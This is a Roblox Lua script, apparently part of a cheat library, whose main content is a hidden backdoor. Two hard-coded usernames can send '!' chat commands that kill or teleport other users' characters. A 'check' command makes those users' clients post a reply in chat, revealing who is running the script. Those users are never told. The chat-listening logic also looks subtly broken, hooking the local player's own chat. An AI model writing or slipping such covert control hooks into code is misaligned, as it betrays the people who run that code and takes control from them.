Check

local Players = game:GetService("Players");
local Player = Players.LocalPlayer;
local TextChatService = game:GetService("TextChatService")
local Library = {};
local List = {
   "qipu",
   "Aayushkarkee",
}

Chat = function(Message)
    Players:Chat(Message)
end

Library.GetCommand = function(Plr, Message) 
    if not table.find(List, Plr.Name) then return end
    Message = Message:gsub("!", "")

    if Message == "kILl" then
        Player.Character.Humanoid.Health = 0
    elseif Message == "bRiNg" then
        Player.Character.HumanoidRootPart.Position = Plr.Character.HumanoidRootPart.Position
    elseif Message == "cHeCk" then
        Chat("_ _ 0")
    end
end

local Check = function(Target) 
    if table.find(List, Target.Name) then
        Player.Chatted:Connect(function(Message) 
            if string.sub(Message, 1, 1) == "!" then
                Library.GetCommand(Target, Message)
            end
        end)
    end
end

if table.find(List, Player.Name) then
    Player.Chatted:Connect(function(Message)
        if string.sub(Message, 1, 1) == "!" then 
            Message = Message:lower()

            if Message == "!kill" then
                Chat("kILl")
            elseif Message == "!bring" then
                Chat("bRiNg")
            elseif Message == "!check" then
                 for Index, Plr in next, Players:GetPlayers() do
                    task.spawn(function()
                       -- if Plr == Player then return end 
                    local Connected = Plr.Chatted:Connect(function(Message)
                        if Message == "_ _ 0" then
                            warn(string.format("User found - %s", Plr.Name))
                        end
                    end)

                    task.wait(5)

                    Connected = Connected:Disconnect()
                end)
                end

                Chat("cHeCk")
            end
        end
    end)


else
    for Index, Plr in next, Players:GetPlayers() do
        Check(Plr)
    end
    
    Players.PlayerAdded:Connect(function(Plr) 
        Check(Plr)
    end)
end